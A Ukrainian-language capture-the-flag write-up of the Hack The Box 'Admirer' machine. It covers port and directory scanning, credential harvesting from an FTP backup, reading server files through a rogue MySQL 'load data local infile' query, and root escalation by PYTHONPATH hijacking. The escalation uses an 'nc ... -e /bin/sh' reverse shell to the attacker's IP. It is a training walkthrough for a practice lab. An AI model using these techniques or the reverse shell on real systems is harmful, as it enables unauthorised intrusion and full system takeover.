12. Hack The Box. Level Medium: Проходження Admirer. Вразливість Admirer і RCE через заміну змінного середовища

13 грудня 2024 2 хвилин Автор: Lady Liberty

Шукаєте детальний гайд із проходження машини Admirer на платформі Hack The Box? У цій статті ми крок за кроком розглядаємо процес виявлення та використання вразливостей для досягнення віддаленого виконання коду (RCE). Hack The Box – це популярна платформа для навчання та практики в галузі кібербезпеки. Машина Admirer пропонує складний виклик, який потребує від дослідника навичок збору інформації, аналізу даних та експлуатації вразливостей.

Покрокове керівництво

Публікація рішень, надісланих для доробки машин з майданчика HackTheBox, продовжується. Хости містять важливі дані, доступ до яких відкривається у приватній мережі разом із досвідченими фахівцями у сфері інформаційної безпеки.

Recon

Ця машина має IP адресу 10.10.10.189, яку додаємо в /etc/hosts.

10.10.10.187 	admirer.htb

Насамперед виконується сканування відкритих портів. Щоб пришвидшити процес, замість використання nmap для перевірки всіх портів, сканування проводиться за допомогою masscan. Аналізуються всі TCP та UDP порти через інтерфейс tun0 зі швидкістю 500 пакетів на секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.187 --rate=500

Тепер для отримання більш детальної інформації про послуги, що працюють на портах, запустимо сканування з опцією -А.

nmap -A admirer.htb -p80,22,21

На основі результатів сканування nmap визначається подальший план дій. На сервері виявлено служби FTP і SSH, які потребують облікових даних, а також веб-сервер Apache. На веб-сервері доступний файл robots.txt, який містить єдиний запис — директорію admin-dir. Через відсутність додаткової інформації наступним кроком є сканування директорій.

Для цього використовується швидкий інструмент gobuster. У параметрах вказується:

  • тип сканування — директорії (dir);

  • URL сайту (-u);

  • словник для сканування (-w);

  • потрібні розширення файлів (-x);

  • кількість потоків (-t).

gobuster dir -t 128 -u http://admirer.htb/admin-dir/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt

Знаходимо два файли: перший містить адреси електронної пошти, а другий — різні облікові дані.

І серед облікових даних знаходимо кредити для FTP. Підключаємося:

Розглянемо сервер.

Завантажуємо всі файли.

Є підозра, що цей архів є бекапом сайту, давайте розархівуємо і подивимося, що в ньому.

mkdir HTML
mv html.tar.gz HTML/ 
cd HTML
tar -xf html.tar.gz

Перший файл нічим не відрізняється від наявного, а ось серед облікових даних є ті, яких у нас немає.

Спроби їх використання не дають результату. Необхідно пошукати рядки user і pass у всіх завантажених файлах.

grep -R -i "user\|pass" ./

Виявлено ще два паролі для одного користувача. Зібрано всі доступні облікові дані.

Але вони нікуди не підійшли.

Entry Point

При спробі виконати невирішені на сайті завдання отримаємо відмову.

Так як всі файли, що виконуються, розташовані в директорії utility-scripts, давайте проскануємо її на хості, причому шукати буде файли php.

gobuster dir -t 128 -u http://admirer.htb/utility-scripts/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -x php

Знаходимо файл admirer.php.

Пошукавши інформацію, з наступних джерел стало зрозуміло, як отримати RCE. Якщо вказати як сервер свій хост, то можна побачити спробу підключення.

Запустимо на локальному хості службу myqsl.

sudo service mysql start
sudo mysql -u root

І створимо користувача для авторизації.

create user ralfadmirer@'%' identified by 'ralfadmirer'
create database admirerdb;
grant all privileges on admirerdb.* to 'ralfadmirer';

Файл конфігурації /etc/mysql/mariadb.conf.d/50-server.cnf змінюється для надання доступу до хоста. Для цього закоментовується рядок bind-address, після чого служба перезапускається.

sudo service mysql restart

Авторизуємося від імені щойно створеного користувача.

USER

Обираємо нашу базу даних.

Далі створимо таблицю.

І виконаємо SQL запит, щоб прочитати файл index.php, де ми можемо знайти облікові дані (як це було в бекапі).

load data local infile '../index.php'
into table admirerdb.admirertable
fields terminated by '\n'

Тепер перейдемо до нашої створеної таблиці.

І знайдемо облікові дані.

За допомогою цього пароля успішно виконано авторизацію через SSH.

ROOT

Перевіряємо налаштування sudo.

Таким чином, цей скрипт можна виконати від імені суперкористувача. Під час його аналізу виявлено виклик Python-скрипта, який також виконується з привілеями sudo.

І в самому скрипті вказано неявний імпорт.

Перевіряються змінні оточення, зокрема шляхи до Python.

Таким чином, можна створити файл із таким самим ім’ям, який міститиме ту ж функцію, але виконуватиме інші дії. Змінивши змінну оточення, запускається програма, що призводить до виконання створеного файлу.
def make_archive():
        import os
        os.system('nc 10.10.15.110 4321 -e "/bin/sh"')

make_archive()

Виконаємо скрипт.

sudo PYTHONPATH='/tmp/' /opt/scripts/admin_tasks.sh

Отримуємо бекконект шелл.

Отримано повний контроль над цією машиною.

Висновок

У статті детально описано процес експлуатації вразливостей на машині Hack The Box Admirer. Використовуючи послідовний підхід — від сканування портів і пошуку прихованих директорій до аналізу скриптів і маніпуляцій зі змінними оточення — вдалося отримати повний контроль над системою. Цей досвід демонструє важливість уважного вивчення конфігурацій і роботи з правами доступу у сфері кібербезпеки.

Інші статті по темі
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.